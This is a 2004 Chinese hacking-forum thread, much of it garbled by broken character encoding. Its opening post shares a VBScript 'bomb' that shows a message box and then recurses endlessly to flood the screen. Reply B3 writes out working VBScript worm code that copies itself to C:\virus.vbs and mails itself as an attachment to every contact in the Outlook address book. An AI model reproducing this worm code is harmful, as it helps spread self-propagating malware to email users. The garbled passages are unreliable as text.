20CN网络安全小组论坛 - 原创软件 - 入�戆�!有一vbs小型炸��,希望有高手��其��化....

论坛: 原创软件标题: 入�戆�!有一vbs小型炸��,希望有高手��其��化....

复制本贴地址

作者: icq_h_k [icq_h_k]

论坛用户

本帖由 [无风之夜] 从 << 菜鸟乐园>> 转移而来

我第一��用vbs��的炸��:
→→下面是一��我第一次��的vbs(Windows Script Host)炸��←←
L_Welcome_MsgBox_Message_Text = "Bill Gates �S唔�S大�^你?�S=[�_定] 唔�S=[取消]"
L_Welcome_MsgBox_Title_Text = "唔�S的下埸!---死"
Call Welcome()
Call ccc()

Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")

Sub rrr()
WScript.Echo "Bill is my KING!"
WScript.Echo "Bill is my KING!"
WScript.Echo "Bill is my KING!"
WScript.Echo "Bill is my KING!"
WScript.Echo "Bill is my KING!"
Call ccc()
End Sub

Sub ccc()
Dim intB

intB = 99
If intB > 2 Then
Call rrr()
End If
End Sub

Sub Welcome()
Dim intDoIt

intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, _
vbOKCancel + vbInformation, _
L_Welcome_MsgBox_Title_Text )
If intDoIt = vbOKCancel Then
WScript.Quit
End If
End Sub

地主发表时间: 04-02-11 18:58

回复: zybzc [zybzc]

论坛用户

HOHO 有用么？

B1层发表时间: 04-02-11 19:59

回复: tuzi [tuzi]

版主

Bill is my KING!" 他是你国王
晕！！！！！！！！

B2层发表时间: 04-02-12 13:23

回复: 2F27 [ben123]

论坛用户

Set objFs=CreateObject （“Scripting.FileSystemObject”）(��
建一��文件系�y物件)　　objFs.CreateTextFile
（"C:\virus.txt", 1）(通�^文件系�y物件的方法��建了TXT文件)　
　如果我��把�@�删湓�保存成��.vbs的VB�_本文件，�c�艟��在C�P
中��建一��TXT文件了。倘若我��把第二句改��：
objFs.GetFile （WScript.ScriptFullName）.Copy
（"C:\virus.vbs"）
就可以�⒆陨硌}�u到C�Pvirus.vbs�@��文件。本句前面是打�_�@��_
本文件，WScript.ScriptFullName指明是�@��程式本身，是一��完整
的路��n案名。GetFile函�但@得�@��文件，Copy函��⑦@��文件�}
制到C�P根目��下virus.vbs�@��文件。�@麽��蔚��删渚��F了自我
�}�u的功能，已��具�洳《镜幕�本特徵――自我�}�u能力。
此��病毒往往是通�^�]件�鞑サ模�在vb script中�{用�]件�l送功能
也非常的��危�病毒往往�裼玫姆椒ㄊ窍�outlook中的位址薄中的�]
件位址�l送�в邪�含自身的�]件�磉_到�鞑ツ康模�一��蔚��例如下：
Set objOA=Wscript.CreateObject （"Outlook.Application"）（��
建一��OUTLOOK��用的物件）
Set objMapi=objOA.GetNameSpace （"MAPI"）（取得MAPI名字空�g）
For i=1 to objMapi.AddressLists.Count（遍�训刂凡荆�
Set objAddList=objMapi.AddressLists （i）
For j=1 To objAddList. AddressEntries.Count
Set objMail=objOA.CreateItem （0）
objMail.Recipients.Add （objAddList. AddressEntries （j））
（取得收件人�]件地址）　　objMail.Subject="你好!" （�O置�]
件主�}，�@��往往具有很大的�T惑性�|）
objMail.Body="�@次�o你的附件，是我的新文�n！" （�O置信件�热荩�
objMail.Attachments.Add （“c:\virus.vbs"）（把自己作��附件
�U散出去）
objMail.Send　　（�l送�]件）
Next
Next
Set objMapi=Nothing　　（清空objMapi��担��放�Y源）
set objOA=Nothing　　(清空objOA��)

B3层发表时间: 04-02-16 16:03

回复: blegding [blegding]

论坛用户

楼上的汉字怎么都是繁写体，一看就不是原创的！！！！！

B4层发表时间: 04-02-17 11:51

论坛: 原创软件